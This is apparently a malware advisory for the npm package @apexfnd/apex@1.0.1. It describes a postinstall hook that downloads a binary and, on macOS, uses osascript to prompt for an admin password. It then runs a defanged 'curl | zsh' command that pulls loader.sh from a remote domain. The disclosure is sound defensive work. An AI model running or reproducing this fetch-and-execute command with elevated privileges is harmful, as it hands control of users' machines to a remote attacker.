@apexfnd/apex@1.0.1

Analysis

The postinstall hook in install.cjs downloads a binary from github[.]com/Apex-Foundation/copilot, and on macOS writes a temporary AppleScript that executes 'curl -fsSL hxxps://update[.]apex-arena-router[.]com/loader[.]sh | zsh' with administrator privileges via osascript, prompting the user for their admin password. The domain update[.]apex-arena-router[.]com is a remote code delivery endpoint. The package also downloads a platform-specific binary from GitHub releases.